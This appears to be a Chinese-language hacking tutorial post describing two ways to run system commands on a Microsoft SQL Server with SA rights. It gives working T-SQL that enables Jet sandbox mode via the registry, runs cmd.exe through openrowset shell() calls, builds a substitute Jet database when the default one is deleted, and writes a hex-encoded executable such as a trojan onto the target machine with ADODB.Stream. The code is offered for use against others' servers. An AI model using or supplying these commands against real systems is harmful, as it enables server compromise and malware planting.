MSSQL中兩種特別的執行命令的方法

以下方法都以需要SA權限爲前提。

1, 沙盒模式的變通.


原始方法:

第一句開啓沙盤模式:


exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1



複製代碼第二句利用jet.oledb執行系統命令:


select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\dnary.mdb','select shell("cmd.exe /c CMD命令")')



select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("cmd.exe /c CMD命令 ")')

但是,當 X:\Windows\System32\ias\dnary.mdb 或 X:\Windows\System32\ias\ias.mdb 被刪除時,命令就會無效了.

所以利用以下語句創建一個數據庫:(數據庫名SysSetup.xml,後綴.xml是自定義,不影響使用.)

 

declare @hr int;
declare @object int;declare @property int;
exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT;
exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml';



然後再利用jet.oledb調用SysSetup.xml執行系統命令:


select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("cmd.exe /c CMD命令")')



2, 直接寫入文件到對方計算機,此處的文件可以是exe, dll,等.(注,此方法不支持文件大於64KB)



當已經有一個程序需要放到對方計算機的時候.(例如, 放MA。)

將這個文件轉成HEX代碼。

如果不知道怎麼把文件轉成HEX代碼,請使用下面的工具.

File2Hex.rar 

使用方法很簡單, 解壓出來之後, 把要轉的文件拖到腳本上去, 就會生成包含HEX代碼的文本.

然後用以下方法寫入到對方計算機中。


DECLARE @ObjectToken INT
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken, 'Type', 1
EXEC sp_OAMethod @ObjectToken, 'Open'
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x123456(其中0x123456爲HEX內容)
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, 'Test.exe(文件名)', 2
EXEC sp_OAMethod @ObjectToken, 'Close'
EXEC sp_OADestroy @ObjectToken



寫入之後, 就發揮你的辦法去執行你寫入的這個文件就OK了。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章